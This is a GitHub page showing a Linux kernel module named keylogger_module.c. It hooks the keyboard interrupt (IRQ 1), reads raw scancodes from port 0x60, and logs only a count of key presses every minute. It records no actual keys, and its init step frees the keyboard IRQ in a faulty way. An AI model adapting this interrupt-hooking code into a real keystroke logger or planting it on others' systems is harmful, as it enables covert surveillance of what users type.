Repository navigation
Expand file tree
/
Copy pathkeylogger_module.c
More file actions
77 lines (57 loc) · 1.53 KB
/
Copy pathkeylogger_module.c
File metadata and controls
77 lines (57 loc) · 1.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <asm/io.h>
MODULE_LICENSE("GPL");
/* Function prototypes */
static int __init keylogger_init(void);
static void __exit keylogger_exit(void);
static irqreturn_t irq_handler(int, void*);
void timer_callback(struct timer_list* timer);
/* Defines */
#define INTERRUPT_NAME "keylogger"
#define LOG_INTERVAL 60000
/* Global variables */
static volatile unsigned int irq_counter;
static struct timer_list log_timer;
/* Functions */
static int __init keylogger_init(void)
{
printk(KERN_INFO "Keylogger loaded.\n");
free_irq(1, NULL);
irq_counter = 0;
timer_setup(&log_timer, timer_callback, 0);
mod_timer(&log_timer, jiffies + msecs_to_jiffies(LOG_INTERVAL));
return request_irq(1,
irq_handler,
IRQF_SHARED,
INTERRUPT_NAME,
(void*)(irq_handler));
}
static void __exit keylogger_exit(void)
{
free_irq(1, NULL);
del_timer(&log_timer);
printk(KERN_INFO "Keylogger unloaded\n");
}
module_init(keylogger_init);
module_exit(keylogger_exit);
static irqreturn_t irq_handler(int irq, void* dev)
{
static unsigned char scancode;
scancode = inb(0x60);
if (scancode & 0x80)
irq_counter++;
return IRQ_HANDLED;
}
void timer_callback(struct timer_list* timer)
{
printk(KERN_INFO "keys pressed %d times", irq_counter);
irq_counter = 0;
mod_timer(&log_timer, jiffies + msecs_to_jiffies(LOG_INTERVAL));
}